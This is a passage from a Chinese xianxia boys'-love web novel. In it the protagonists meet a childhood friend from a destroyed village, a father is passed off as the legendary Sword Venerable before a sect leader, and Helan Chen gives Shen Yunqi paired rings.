“这位师兄,想问一下你尊姓大名啊,之前在谷中多谢你出手相救。”彩蝶立即跟他搭话,“我叫彩蝶。” 贺兰忱挑了挑眉,瞥了一眼胡淳志,笑道:“好说,你们来找沈师兄做什么?” 彩蝶立即道:“原来我哥哥跟沈师兄竟然是青梅竹马,从小一起长大的。” “是吗?”贺兰忱坐到沈云戚旁边的位置。 彩蝶立即狂点头,道:“对呀对呀,刚刚两个人聊得可开心了。” “师兄,你怎么没有跟我说过,你有这么多青梅竹马啊?”贺兰忱说话阴阳怪气的,伸手揽在戚宝的肩膀上,以一种占有欲十足的姿态,将他划入自己的领地。 沈云戚听了这话,有些不开心,刚刚跟女孩子讲话就是气泡音,孔雀开屏,跟他说话就这么阴阳怪气。 他不回答,甩开贺兰忱搭在自己肩头的手,自顾自的倒了杯水喝了起来。 胡淳志解释道:“在下胡淳志,跟小戚是在同一个村子长大的,多年未见,之前没有认出他,直到听到你喊他的名字,我才来确认一番。” “哦,这样啊。”贺兰忱神色晦暗不明的,淡淡一笑。 胡淳志颔首。 贺兰忱道:“胡兄修行的法子,我倒是没见过,师从何处啊?” “是个散修。”胡淳志道。 贺兰忱挑眉,道:“既然跟戚宝这么久没见了,那不如我做东,请二位用个餐。” 沈云戚瞥了一眼贺兰忱,你这么热心肠干嘛? 贺兰忱回看戚宝,让我来看看你的竹马是什么东西! 第 70 章 小爹! 他乡遇故知。 胡淳志也想跟戚宝叙叙旧, 便应下了他们的邀约,到了他们住店的那家客栈。 沈云戚不明所以,问道:“在这家吃不也挺好吗?” 贺兰忱傲然瞥了一眼胡淳志, 一把揽过沈云戚的肩膀, 亲昵的捏了一下他的鼻子, 笑道:“你光顾着自己吃,咱爹不一起用餐吗?” “什么咱爹?你没事吧?”沈云戚觉得他今天说话怪怪的, 以前都是喊师尊或者二师父。 贺兰忱似笑非笑道:“难道不是我爹吗?” “……行,你待会就这么叫吧。”沈云戚无语了。 贺兰忱又说:“怎么, 你还不服气了?” “没有啊,你爱这么叫就这么叫呗。”沈云戚面上无所谓的表情,心底最隐秘的地方,有些小泡泡在往上冒着。 沈云戚对他们二人道:“那、二牛哥,我们换个地方叙叙旧?” 胡淳志眼睛不好使, 所以耳朵格外灵敏, 两个人的低语他都听到了,不过他更在意的是,这个人叫沈云戚的爹……也叫爹吗? “嗯,我也很久没有见过沈、叔叔了。”胡淳志扯出一抹笑意。 贺兰忱挑眉又看了一眼他。 胡淳志无知无觉的,被彩蝶领着下了楼。 彩蝶低声唤了他一声:“哥哥。” 在旁人看不到的地方, 胡淳志微微摇头,此事暂时不急。 贺兰忱跟沈云戚勾肩搭背,十分亲昵的模样,时不时还低语几句有的没的。 渡妄此时带着沈不忘买东西,大包小包买了不少,进了一家店就大手一挥就全都买下,阔气的不得了。 此时正大包小包的带回了客栈, 在雅间里给沈不忘展示一些他专门寻来可以增加情趣的玩意儿。 沈不忘连个正眼都不给他,对那些没什么兴趣,渡妄却拼命的推销道:“你不穿也可以,我晚上穿给你看。” “不看。”沈不忘偏过脸去,这等轻纱薄履的,十分辣眼睛。 渡妄捏着他的下巴,迫使他正眼看自己,道:“那你是想我直接不穿?沈仙君,你竟是这般想法?” 沈不忘耳朵微微泛红,道:“没有。” “那我就穿,你也穿。”渡妄擅自决定道。 沈不忘立即反口:“不穿,别穿了,你也别穿。” 渡妄坏笑着得逞了,凑上来要亲亲他。 两小子都走了,这才是他们的二人世界。 “爹!”贺兰忱大喊一声,房门应声打开。 两个人看了过来,渡妄拧眉问道:“你喊 什么喊?” “师尊,我喊爹,不是喊你。”贺兰忱凑到沈不忘身边,笑的阳光灿烂。 渡妄脸色黑了下来,这小子竟然不认他当爹了,还是小时候好,一口一个父皇的,还有另一个小崽子,按道理说,他也是沈云戚的爹了,他也从来没有叫过。 沈不忘问道:“何事?” “爹,刚刚我们遇上了戚宝的熟人,说是从小跟戚宝一起长大的。”贺兰忱走到沈不忘身边。 胡淳志和彩蝶也跟着走进了雅间,因为他身材十分高大,越发显得彩蝶很娇小。 胡淳志上前一步,听出了沈不忘的声音,道:“沈叔叔,好久不见,你还好吗?” “是你啊。”沈不忘倒是认出了他,也感觉到了他身上对自己冷冷的敌意。 渡妄摸了摸下巴,道:“这不是荷花村那个小孩吗?” “这位前辈是?”胡淳志偏了一下脑袋。 “你不必认识。”渡妄傲慢又挑剔的目光打量了他一番,淡淡一笑,评判道,“将死未死,执念不消,倒是成了自己一道。”是个狠角色。 胡淳志不由捏紧了手上的长棍,他竟一眼看穿了自己的真身。 沈云戚赶紧说道:“你少说两句。”转而又对胡淳志道,“二牛哥,你也别放在心上,这个人是……是我爹的道侣,我小爹。他说话一直都这么讨厌的,对我对贺兰忱也这样。” “小崽子,你……”渡妄见小崽子拆自己的台,正要发怒,又捕捉到了他的介绍词。 小爹?这个称呼虽然不是很好听,但也是爹。 渡妄爱怜的摸了摸小崽子狗头,道:“再喊我一遍。” “二师父,怎么了?”沈云戚一脸疑惑。 渡妄立即恢复了咬牙切齿的模样,他肯定是故意气自己的,怒道:“小崽子,你欠揍。” 沈不忘拉着他,道:“在外人面前,稳重些。” 沈不忘倒是不在乎胡淳志对自己的敌意从何而来,只是正常的招待二人,毕竟他在荷花村呆了五年之久。 餐桌上,贺兰忱十分会来事儿,一口一个爹,叫着沈不忘。 这话闹得渡妄很不开心,同时静默不语的还有二牛。 二牛眼睛上绑着绷带,正如他自己所说的,不是瞎了,吃饭并不影响。 沈云戚吃着东西,眼珠子时不时看向胡淳志。 贺兰忱扯了扯嘴角,给他舀了一碗杨梅荔枝饮,道:“你爱吃的,再看,筷子都塞鼻子里了。” “哪有?”沈云戚不服道。 胡淳志听到他们说话,将脑袋瞥向他的方向,笑了笑。 贺兰忱问他道:“二牛哥,你跟这位仙子,是道侣吗?” 彩蝶摇头道:“不是,哥哥他是……” “少主对我有救命之恩。”胡淳志解释道。 沈不忘喝了口茶,问道:“你近些年过得可好?” 胡淳志听到这话,不禁抿直了唇角,神色有些暗淡:“不太好,村子没了,邺城也没了。” 沈云戚顿时一惊,抬起头来,问道:“怎么回事?那么大一个城,为什么会没了?” 胡淳志目光投向沈不忘的方向,静默了半响。 沈不忘好看的眉头不由微微蹙起,就连渡妄也心中诧异,道:“不可能,你们村的气运、很好的。” 胡淳志笑的有些苦。 看他这样,便知道他过得不好。 贺兰忱则是皱起了眉头,反问道:“你说你村没了,邺城也没了,是所有人都死了的意思吗?” “对,有人屠城屠村。”胡淳志颔首。 贺兰忱面露疑惑,说话也不客气起来:“所有人都死了,只有你活了下来?” 彩蝶一听这话,顿时恼了:“你这话什么意思?你怀疑哥哥?” 胡淳志倒是比较平静,年岁虽不大,却早已经历过无数的风雨。 “没事。”他安抚了彩蝶,回答贺兰忱的时候还是朝着沈不忘的方向,“可能屠城之人,放我一条命,想要我找机会复仇吧。” 沈不忘听到此话,问道:“你的意思,你知道凶手是谁?” 问到此处,胡淳志忽然不言语了。 沈云戚生气道:“那是什么人?怎么可以将数十万生灵尽数屠戮?二牛哥,你别怕,你跟我们说。” “你要出头找凶手吗?你行吗?小菜鸡。”贺兰忱追问道。 沈云戚一想到自己筑基期的修为,顿时萎了,随后目光看向沈不忘和渡妄。 “我不行,我爹行,二牛哥,你别怕,无论是谁,都不是我爹的对手。”沈云戚一脸自豪的说道。 胡淳志听到这话,不由低声问了句:“真的吗?” “当然。”沈云戚十分自豪的说道。 彩蝶面色怪异,问道:“你们两个说你们是剑尊的弟子,你爹该不会就是……” 客栈门口进来几位身着劲装的修士,他们目光在客栈内扫了一圈。 小二赶紧上来招呼,问道:“寻鹿大人,你们怎么有功夫大奖光临,里面请里面请。” 为首的俊美男子抬手推开小二,冷声道:“不是来吃饭的,我们奉城主之令,来寻天命的主人。” “天命啊?” “那不是剑尊的弟子吗?” “他们竟然住在这间客栈?” …… 神祇谷的事情短短几日已经在天决城内传遍了,器灵被炼化后出世了一柄绝世好剑天命,还引得三个大能前来争抢。 最后被剑尊的弟子拿走了。 之后那弟子便不见了踪迹,现在寻鹿大人竟说在此处。 客栈众人想要凑热闹,寻鹿便带着一行人上了二楼,随手立下一个结界,隔绝了偷窥之人的目光和气息。 沈云戚看到这群人朝着自己这边走来,不禁皱眉。 寻鹿客客气气的对着沈不忘行礼,道:“御剑山庄寻鹿,见过剑尊前辈。” 这群人真是有礼貌中又透着没素质。 沈不忘顿了一下,看向一旁的道侣。 俨然在说,有人叫你了。 渡妄则是一脸懵逼,看不懂道侣这是什么意思。 寻鹿又开口道:“剑尊前辈,晚辈久仰大名,听闻你来天决城了,不请自来,还请见谅,此次前来也是实非得已。” “若非世间遭逢大乱,修真界无力从心,城主也不会前来叨扰。” 沈不忘这才意识到,此人正在跟自己说话,他正想说自己并非剑尊,你认错人了。 沈云戚眼看着他爹的表情,顿时急了。 他爹若是否认了,他爹的名声岂不是要任由别人败坏了吗? 贺兰忱先沈不忘一步,拍桌起身,声音不悦:“既知我师父是剑尊,你们城主为何不自己来请?” 寻鹿也知道自己无礼了,解释道:“城主并非不想来,而是山庄贵人前来求助,分身乏术。” “不必多言,难道我师尊竟比不上那些贵人吗?”贺兰忱不近人情的说道。 寻鹿沉默的看了一眼沈不忘,拱手作揖道:“晚辈这就去回禀城主,让他亲自来请剑尊前辈。” 一行人便离开了,似真的是来请他们一群人前去御剑山庄一般。 沈不忘蹙眉,目光在焦急的沈云戚和傲慢的贺兰忱身上扫了一圈。 不知道他们想做什么,为什么他突然就成了剑尊? 剑尊,这个名号,似乎并不是他的。 沈不忘潜意识里这么想着。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第 71 章 这是婚戒吧? “爹, 你就是剑尊,你先装扮一下。” 饭后,沈云戚着急的跑到了沈不忘的房间去, 打算找一下符合剑尊身份的装扮。 沈云戚捏着一套他爹寻常穿的衣裳, 思索了半响, 剑尊的专业穿搭该是什么样子的? 贺兰忱知道他在思考什么,顿时将目光投向一旁若无其事的渡妄。 渡妄双手环胸, 半依在柱子上,一脸不耐烦的表情:“你们两个没有自己的客房吗?偏要在我们房间?” 沈云戚解释道:“那哪能一样?这是很重要的事情。” 渡妄嗤笑一声, 道:“你爹是谁不重要,是我的道侣。” 沈不忘观察着两个小家伙的表情,知道他们肯定在外面闯祸了。 “那你们说,我该怎么做?”沈不忘平静的询问他们。 家中孩子在外闯祸,他还是要帮忙解决的, 虽不知这剑尊是何人。 若是能用他的名义兵不血刃的解决, 日后见着他,他必然会说明情况的。 沈云戚解释道:“若是他们再来,问你是不是剑尊,你便说是的,我与贺兰忱是你的弟子。” 沈不忘狐疑的打量着他, 问道:“就这么简单?你们没有在外闯祸吗?” “才没有闯祸。”沈云戚见爹这般想,赶紧解释道,“爹,你就是剑尊,有人仗着你的名义在外、行侠仗义。” 沈不忘听了这话,不禁顿了一下,不再揪着他不是剑尊这事说了, 不管是不是,他现在都得是。 “行侠仗义,这不是好事吗?” 贺兰忱道:“可是有人冒认您吶,我们怕别有目的,便说我们才是剑尊的弟子。” 沈不忘听了这话,若有所思。 渡妄切了一声,不屑道:“难道当我的弟子,你们觉得很丢面吗?” 沈云戚:…… 这莫名的胜负欲,十分之幼稚。 沈不忘若有所思道:“我知道了。” 至于怎么装扮,他也有自己的想法,让沈云戚他们回去,若是来人,他可以应对。 沈云戚放心下来,回道房间,发现贺兰忱不知所踪了。 不消一会儿,门外传来了敲门声。 “怎么才回来,干什么去了?”沈云戚打开房门,发现站在门外的是二牛。 胡淳志问他:“可以进去聊聊吗?” 沈云戚笑道:“进来吧。” 二牛跟着他的脚步进了房间,他身材高大,进屋子的时候还要歪一下头,防止被门框打到头。 沈云戚看他的时候还要抬起头,他也有一米八的身高,,想不到二牛竟然能长得这么高。 沈云戚正思索着,要如何跟二牛话话家常,询问一下荷花村和邺城之事。 胡淳志率先开口了:“那个贺兰忱是你爹收养的孩子吗?” 他对此事无比好奇,也很在意。 沈云戚听到这个问题,愣住,反应过来胡淳志白天为什么突然变得沉默,赶紧解释道:“不是的,他没有被我爹收养。” “可是……他说,他从你五岁开始,就一直跟你在一起,还有你爹和小爹。”胡淳志继续追问。 沈云戚知道二牛小时候过得很不好被后娘虐待,一直想要被他爹收养,当时戚宝是果断拒绝的,似乎还说过他爹只需要他一个孩子。 之后荷花村又全部死绝了,想必胡淳志这些年都在社会上摸爬滚打,内心脆弱。 沈云戚这些年在爹爹的关爱和贺兰忱的陪伴中长大,早就没有了前世当孤儿时的敏感孤独,可是他却可以感同身受。 他不希望胡淳志就此耿耿于怀。 “他不是我爹收养的。”沈云戚思索了片刻,实话实说,“他是小爹收养的,也不算收养,就是他拜了小爹为师,于是小爹便将他当做亲儿子一般。” 胡淳志听到这话,沉默了片刻,不知道是信了还是没信。 “对了,二牛哥,你如果有什么需要帮助的话,可以跟我说,如果我可以做到的话,一定会帮你的。”沈云戚道。 胡淳志扯了扯嘴角,笑道:“没事了,一切都过去了,你不用担心我。” 沈云戚觉得他笑的有些渗人,又有些凄凉,他正想着是不是自己说错话了。 胡淳志又问:“那他为什么叫沈叔叔爹啊?” 他还是很在乎这个事情。 沈云戚愣了一下,解释道:“因为他不要脸。” 房门被打开了,贺兰忱走了进来,走到沈云戚的身边,脸上看上去不甚开心的模样,沈云戚也没有被抓住说人坏话的尴尬,毕竟说的是实话。 贺兰忱一把揽住了沈云戚的肩膀,扯起嘴角,道:“因为我跟戚宝结为道侣了,所以戚宝的爹便是我爹。” 胡淳志恍然大悟。 沈云戚有些尴尬,扯了扯贺兰忱的衣袖,让他闭嘴。 俊美的小脸上透着焦急,又大又圆的眼睛瞪了他一眼,小表情十分灵动。 贺兰忱伸手捏着他的脸颊,软乎乎的。 还是个小龙,也才十八岁,脸上还有几分婴儿肥,真是可爱的紧。 沈云戚觉得这人今天十分不对劲,怎么动手动脚的? 他翻了个白眼,正想教训贺兰忱。 贺兰忱便正经起来,询问二牛:“二牛哥,方才你说邺城和荷花村被屠,究竟是怎么回事?” 胡淳志静默片刻,回应道:“所有人都死了,他们全都成了行尸走肉,这些年去了不少人或者修士镇压,都无济于事。” 沈云戚顿住,还以为邺城只是被灭了,竟然还有这般的后续。 胡淳志忽然笑了笑,道:“那些修士将邺城当做历练之地,在他们眼中,那成了一座魔窟。” 沈云戚蹙眉,问道:“人死就该入轮回,若是不灭,必定有邪物作祟。” 贺兰忱不置可否,沉思着。 胡淳志又问:“你们要去邺城历练吗?” 沈云戚怔了怔,贺兰忱道:“我们确实需要历练,不过不一定会去邺城。” 胡淳志沉默片刻,道:“小戚,我希望你能去,此事因你而起,希望也能由你解决。” “什么叫因我而起?”沈云戚追问道。 胡淳志没有给他回答,默默说了句不打扰了,便离开他们房间。 离开后,房间里传来了两个人说话的声音。 贺兰忱语气怪异:“小戚~~小戚~~” “你干嘛?”沈云戚疑惑。 “你二牛哥现在知道我们是道侣了。”贺兰忱挑了挑眉,语气有些小得意。 沈云戚更加莫名:“你干嘛这么说?” 贺兰忱声音低了下去:“你不想你的二牛哥知道吗?” 沈云戚:“不是这个意思。” 贺兰忱:“好了,以后我不说了,不会让别人知道我们是道侣的。” 沈云戚:“我不是这个意思。” 再后面的话,就听不到了。 胡淳志朝着自己的房间走去,原来跟云戚成为道侣,才能成为沈叔叔的儿子啊? 沈云戚觉得贺兰忱不对劲,讲话阴阳怪气的,便不理他了。 他原本还想问问贺兰忱,剑尊的装束应该是什么样子的。 现在也没有说话的欲望了,他清点着自己的丹药,一边思索着二牛说的邺城之事因他而起是怎么回事? 贺兰忱在一边瞅着他,坐到他旁边的位置,自顾自的倒了杯水,喝了一口。 他稍微挪了挪位置,两个人的距离靠近。 “有什么事情就直说吧。”沈云戚没有抬眸就知道他在鬼祟的打量自己。 贺兰忱放下茶杯,问道:“你的二牛哥,跟你关系很好吗?” 沈云戚道:“我很小就离开了荷花村,四岁多的时候,你不是知道的么?” “那你们不是也认识了四年半么。”贺兰忱酸溜溜的说道,小婴儿时期的戚宝他都没有见过了。 沈云戚放下手中的衣服,抬眸看贺兰忱,解释道:“并没有,我在荷花村只生活了半年。” 贺兰忱顿了一下,反应过来他是什么意思。 戚宝是穿书到沈云戚四岁的时候,不过他想了一下,道:“不对啊,我还以为你从出生开始就在这里,我在我娘肚子里的时候,就来了,当时我不知道自己在哪里,吓死了。” “哦。”沈云戚冷漠的应了一声。 贺兰忱是从出生的时候传来的,所以感受过贺承元对他的爱与保护。 当初在帝陵时见到了帝元的尸骨才会露出那般伤感的模样,帝元便是他在这个时空的亲爹。 贺兰忱在娘胎里便有意识了,帝元对他娘两极尽关爱呵护。 沈云戚这些年跟贺兰忱相熟,早就猜到了。 可惜,他不是。 他不是娘胎里就来的,他不记得更小时候的事情。 那时候爹爹爱护的小孩,是原本的沈云戚吧? 他默默沉浸在自己的情绪中,贺兰忱在旁边说什么他都没有听见,一只手伸到他面前,递过来一个盒子,里面璀璨的灵戒散发着精纯的灵光。 “这是……什么?”沈云戚狐疑的抬头,看向贺兰忱。 贺兰忱递到沈云戚手中,道:“今天在拍卖行买的,送你的。” 这是天极上品的水属性灵界,好像是从东海海域的蓬莱岛上取的,拿在手上有股十分舒服的感觉。 “你……你这是送我的吗?为什么突然送我戒指?”还是对戒,看上去好像是婚戒啊。 沈云戚瞪大了眼睛,看了眼戒指,又瞥了一眼贺兰忱。 这是有什么特殊意义吗? 他们成为道侣了,是在爹爹们的见证下成为道侣的。 所以,他买了婚戒对吧? 心里莫名生出了一些期待。 贺兰忱无所谓的耸耸肩,道:“看到了,觉得适合,就买了给你 。” 沈云戚立即推回去,道:“我不要,怪怪的。” 贺兰忱脸色微微一僵,很快又恢复了嬉皮笑脸的模样,道:“为什么不要?我也有啊。” 沈云戚奇怪的打量了他一眼,贺兰忱又拿出了一个盒子,里面还是一对对戒,也很好看,上面还镶嵌了元素宝石,似乎比送给戚宝的那对更华丽。 一次性买了两对对戒,这是什么怪癖吗? “你买这么多干嘛?”沈云戚疑惑道,这样的话应该就不是求婚用的吧。 “求婚用啊。”贺兰忱理所当然的说道。 沈云戚顿觉手中的戒指有些烫手,说话都哆嗦了:“你你……你胡说什么啊?” “你的那对你留着,日后你遇上了喜欢的人,也可以求婚用。”贺兰忱道。 第 72 章 哼哼 手中的对戒忽然变成了烫手山芋。 戒指明明是很浪漫的东西, 此时却成了两个人划清界限的。 他买了两对,一对留着自己,一对给他。 贺兰忱就是为了提醒他, 即便两人已经成为了道侣, 可是彼此是自由的。 沈云戚若是遇上了喜欢的人, 发展到了可以求婚的阶段,就可以用得上这对戒指。 贺兰忱亦然, 他心里永远有个位置留着他自己喜欢的人。 明明两个人一起长大的,他们共同经历了很多事情。 可这不是爱情, 他们只是从一个地方来,在这个世界成为了彼此的依靠。 他们是很好的朋友,是师兄弟,是道侣,却不是……情侣…… “哦, 这样啊, 那我就收下吧。”沈云戚应下他的礼物。 已然明了他想要划清界限的意思,若是不收,岂不是让人心里不安,多了拘束。 沈云戚将对戒收回了储物空间内,面色平淡。 贺兰忱见他又改变主意了, 忍不住又问:“难道你有想要求婚的对象了?” “没有,但是你的好意,我觉得有道理,以后肯定用得上。”沈云戚道。 贺兰忱又问:“那你有过喜欢的人吗?你的理想型是什么样子的?” 沈云戚抬眸,盯着贺兰忱那双求知若渴的眼睛,又黑又亮,带着好奇和笑意, 似乎隐隐还有些窥探人隐私的紧张,他心里或许藏匿着什么小心思,可是他没有深想。 沈云戚皱了皱眉,认真的思索了片刻,道:“这个问题,在小时候,你好像问过。” “你当时说要当爹爹的乖宝宝,现在已经长大了,可以谈恋爱了,跟哥哥说说看,你理想型是什么样子的,以后哥帮你过过眼。”贺兰忱好心的说道。 他一直记得他说过的话。 沈云戚道:“没什么想法,这些年在山上见到的人除了爹还有小爹,就是你了,再者就是空空。” “嗷,我知道了。”贺兰忱自以为看穿了一切。 沈云戚也笑了,问他:“你又知道什么?” “你的理想型是我这样的。”贺兰忱得意的扬了扬下巴。 沈云戚没有吱声,浅浅的瞥了他一眼。 贺兰忱也沉默了下来,半晌后,才自顾自的找补道:“算了算了,我们又不是同性恋。” “嗯。”沈云戚应了一声。 贺兰忱又嘀咕了一句,道:“就算你理想型哥,可是大家都说竹马抵不过天降,万一哪一天你遇上别人了,说不定哥就要蹲冷宫了,好惨!” 沈云戚见他哭唧唧的表情,一看就是演的。 他沉默半响,应道:“不是抵不过天降,是没有被坚定的选择。” “我肯定坚定的选择你。”贺兰忱说着又跟沈云戚勾肩搭背起来,笑起来的样子十分洒脱。 沈云戚怔怔的看着他半响,也跟着笑了笑。 作为兄弟,作为从一个世界来的同伴,在这个世上,他们是最了解彼此的人,这样的关系是一定会坚定的选择的对方的。 这段关系比恋人比道侣更为坚固。 道侣也不一定会相伴相爱永远在一起的。 就如他的爹爹们,现在两人看着如胶似漆的,感情似很好的样子,他爹其实并没有爱上渡妄,若是真的爱上了,那就距离渡妄死不远了。 临睡前沈云戚又记起了这个事情,问道:“我爹什么时候爱上小爹来着?” “啊?”贺兰忱在睡梦中,有些茫然。 沈云戚又问了一遍,贺兰忱道:“大概是……仙门大比的时候。” “对哦。”沈云戚点点头,闭上眼睛准备睡觉,忽而又想起什么,道,“你还没有跟我说,你在故事里是什么重要角色,该不会有什么秘密瞒着我吧?” 贺兰忱顿时瞌睡虫都没了,赶紧道:“我能瞒着你什么啊?” 沈云戚哼了一声,问出了自己最在乎的事情,道:“就是那种,我们两个反目成仇互相仇杀的剧情,所以你才瞒着我。” 不得不说,戚宝一直都是很聪明的。 竟然被他猜中了,当然,他猜到的还不止这些。 正如当年两个人相认时说的那般,前半段故事的主角是戚宝的爹爹们,后半段怎么会突然变成贺兰忱?又是在BL世界中,那用脚趾想,就知道贺兰忱肯定是自己的官配了。 不过贺兰忱一直不愿意说,他倒也不必揭穿。 肯定是贺兰忱有喜欢的女孩子,不想跟他有感情上的纠缠,所以才故意瞒着的。 “我们不可能反目成仇。”贺兰忱立即道。 那就是书中的他们反目成仇了。 沈云戚沉默下来,到底会发生什么事情,让贺兰忱不愿意告诉自己了? 贺兰忱闷闷的开口,道:“等到了时候我就会告诉你,我们定个暗号,只有我们知道的暗号。” “好。”沈云戚应下。 贺兰忱思索了片刻:“θασεαγαπ? γιαπ?ντα。” “这……这是什么意思?”沈云戚疑惑。 贺兰忱道:“没什么意思,就是暗号,到时候我跟你说这个的时候就会告诉你真相。” “好,θασεαγαπ? γιαπ?ντα,我记下了。”沈云戚跟着念了一遍。 贺兰忱听到他的声音,声音里带着笑意:“你真聪明。” 沈云戚哼了一声。 这不是必须得么,推测剧情走向什么的,轻轻松松拿捏。 贺兰忱在黑暗中哼笑了一声,心情愉悦,不知在想些什么。 “哼。”沈云戚也哼了一声。 “小猪哼哼。”贺兰忱好心情的逗他。 “哼哼,跟你学的。”沈云戚也不恼。 两人哼来哼去的时候,客栈之外,青天之上。 上百修士乘着法器而来,将客栈团团围住。 仔细一看,便知他们衣襟上绣着御剑山庄的云纹,为首之人已是出窍期修为,此人便是御剑山庄庄主,同时也是天决城城主南宫无名。 “父亲,此人当真是剑尊吗?”南宫玄翎颇有些不解。 南宫无名道:“若是,老夫便客客气气的将他请了去,若不是,那今日便让他……” 话音未落,一柄长剑破天而落,带着劈天的浩瀚剑意,直直朝着他们的阵型冲来,御剑山庄一众人立即四散逃开,宛如流星。 冷冷的声音从穹顶之上传入他们耳中:“何方鼠辈,深夜在此聚集,还不速速退去?” 南宫无名被巨大的威压压得无法喘息,此人修为在他之上,呈碾压式,他身体气海也不平稳,翻涌起来,他赶紧伏低做小:“剑尊前辈,吾乃天决城城主,诚来邀你去御剑山庄共商大事。” 沈不忘出现在客栈的屋顶上,头顶一轮悬月,一身清淡的装束,衣袂上金色的暗纹随着月色变得流光溢彩,一把不问仙随他意念而动,重新回到了他的手中。 真的是剑尊啊!真的是他! 可是为何他身上没有任何灵力修为的流动?难道他已经修到臻境,能够将自己的气息顺应天地万物,化为无形。 沈不忘道:“是何大事?现在便说来。” “这、这个……”南宫无名顿时变得支支吾吾,不知如何开口了。 沈不忘轻笑一声,一双茶金色的瞳仁有点点星光落下,变得危险且诡谲,他似起了杀心。 “师弟,且慢。” “沈兄!你真的是沈兄啊!” 两道声音同时响起,他垂眸看去,便看到了伯疏流和谢明堂的身影。 倒是熟人。 谢明堂从暗处出来,冲着楼顶上的人招手,脸上满是兴奋:“沈兄啊!这些年你为何不跟皇兄回奉天城看看我啊?” 伯疏流则是提剑在一旁,沉默的观察着沈不忘。 南宫无名擦了擦额角的汗水,此人是剑尊一事,看来没有任何非议了。 剑尊消失有七十年了,但青云宗的掌门一直都在,他总不会认错自己的师弟。 沈不忘应了他们的邀约,去了御剑山庄,到达时身边多了个人。 大家对他的出现也没有任何异议,直接直入主题。 “呜呜呜,若是早知沈兄你是剑尊,我便去求你了,你可一定要帮帮我啊,此事关乎天下黎明百姓,天下存亡啊。”谢明堂开始哭天抢地,直叫唤。 沈不忘微微蹙眉,问道:“何事?” 谢明堂开始哭诉自己当皇帝当的有多惨,又说各大仙门都不帮他了,最近听闻他们都来神祇谷找法器,便来御剑山庄碰碰运气,好在遇上了沈兄云云。 东拉西扯,没有一句话在点子上。 渡妄听得眉头直突突,恨不得一巴掌拍死这玩意儿,他强忍怒意:“说重点。” 伯疏流叹息了一声,道:“我来说吧,此事是我们仙门之耻,想必两位也知道,当年各大宗门弟子进入帝陵秘境寻宝一事,你们可能不知,当年进入帝陵的修士全都死在了里面。” 沈不忘听到此话,面色无虞,渡妄微微挑眉:“那你们修真界真是损失掺重,难怪现在的弟子都是一群歪瓜裂枣。” 伯疏流尴尬的笑了笑:“这也是我们为何不能帮助皇帝陛下的原因,实在是没有人了。” 在场之人听到这话,也都露出了尴尬的神色。 “那你们找我商议的大事是什么?”沈不忘问道。 “邺城之乱,还劳烦剑尊出手了。”南宫无名恭恭敬敬的开口。 沈不忘挑眉。 邺城,这不是二牛说的地方吗? “无相寺鬼乱,劳烦伯掌门出手。”谢明堂也学着南宫无名的样子,冲着伯疏流拱手作揖。 无相寺鬼乱? 沈不忘眉心突突了两下,心中隐约有种不详的预感。 第 73 章 偷听 这事情略有蹊跷。 沈不忘一时半会想不出各中缘由, 他脑海里倒是响起了戚宝那句【有人冒认你弟子在外行侠仗义】。 可以冒认他的名义在外行侠仗义,那便也能在外作乱。 沈不忘问:“可知作乱之人是谁?” 谢明堂摇摇头,苦着脸道:“这我哪能知道啊?” 沈不忘沉默着, 却感到一道目光似有似无的看向他。 他抬眸, 便对上了伯疏流探究的眼神, 他似有话想对他说。 “邺城之事,我青云宗会派弟子前往, 劳烦师弟帮忙照料。”伯疏流开口。 渡妄眼角抽了抽,什么意思?带两个小孩还不够, 还要帮别人带小孩? 渡妄沉吟片刻,道:“既无危险,那本尊也让弟子前往历练。” 沈不忘觉得此事不妥,渡妄却冲着他挤眉弄眼的,暗送秋波。 谢明堂一脸事情已经解决了的废柴模样, 满心欢喜的说道:“有人解决便好, 这天下兴亡,便全靠你们了。” 仙宗其他长老大能们,他们已经修整多年,准备重新进入帝陵秘境,对外宣称是查明当年真相, 实则是为了探寻里面的秘宝和传承。 之前他们已经威逼利诱之下,从谢明堂处知晓了秘境是如何打开的,现在几道目光不由朝着渡妄身上扫去。 渡妄老神在在了,丝毫不怵这些人的鬼祟目光。 商议结束,沈不忘与道侣准备重回客栈,刚刚走出院子,身后便传来了南宫无名的声音。 “这位前辈, 不知可否请教一下?” 沈不忘回头,询问:“还有别的事吗?” “我们有事想要请教一下这位前辈。”南宫无名恭恭敬敬的对冲着渡妄说道。 渡妄偏了一下头,道:“何事,直接说。” “借一步说话。”南宫无名低声道。 此时御剑山庄的宾客可是集结了所有来神祇谷的宗门,自十三年前帝陵危机后,后辈们出行,都会有长老带队,以免再将新一代的弟子杀断绝了。 惨剧重来一次,那宗门可得哭死。 花了无数的灵石丹药培养的弟子,就这么玩完了,还要跟其他宗门抢弟子的生活,可不想再来一次。 渡妄被喊走了,沈不忘正要跟上,一旁的伯疏流却叫住了他。 两人月下谈话。 伯疏流难得露出笑容:“师弟,你一切都好了,那就太好了。” 沈不忘颔首,他深知自己在假冒剑尊,多说多错,可眼前之人是剑尊的师兄,他总不能认错自己的师弟吧? 他心中已然确认自己的身份便是那剑尊。 “那年同你说过的事情,你可有去寻人?可曾寻到人?”伯疏流询问道。 沈不忘有些恍惚,想起他说的寻的人是谁了。 无月崖的小师弟,他修无情道第一个杀的人! 伯疏流还给了他一个信物,一个黑色的透着金色荧光的莲花花瓣信物。 “是被我杀掉的人,我要去怎么寻他?”沈不忘不想去找那人。 伯疏流道:“师兄的意思是他还没有死,毕竟是你喜欢过的人……” 沈不忘皱眉,对于喜欢的人,他毫无印象。 人死了就死了,若是再去找来,不过徒增烦恼。 他很满意现在的生活,就这样过一辈子也挺好的。 沈不忘作为凡人没有多大的追求,只想孩子开开心心平安长大,他不想当修士,也不想追求那些所谓的力量。 就算别人再强,好像也没有他强。 他如此嚣张的想了一下。 伯疏流沉吟片刻,笑道:“我还以为他是戚宝的娘了。” “什么?”沈不忘拧眉,觉得这师兄说话怎么颠三倒四的。 “说错了,你不想去寻他便不去。”伯疏流拍了拍沈不忘的肩膀,转身离开。 沈不忘想,莫不是师兄也以为戚宝还有个娘亲,想让他去找来。 他并不想将戚宝是自己生的事情说出去。 月色正当中,御剑山庄的大广场上,八方生起了八道光,正是阵法的阵眼。 御剑山庄暗处有两位男子,仔细观察着这位剑尊,启动了御天阵法,若是他真的是剑尊,必然有法子离开此处。 御天阵法乃是南宫家先祖,飞升大能开创的兼顾攻击和守家的超高级大阵,就算大罗金仙来了,都会脱掉一层皮。 沈不忘正要去寻渡妄,却发现他不知何时已经站在自己身后的位置。 “走吧,回客栈。”沈不忘对他说。 渡妄目露冷意,问道:“你还要找戚宝的娘?” 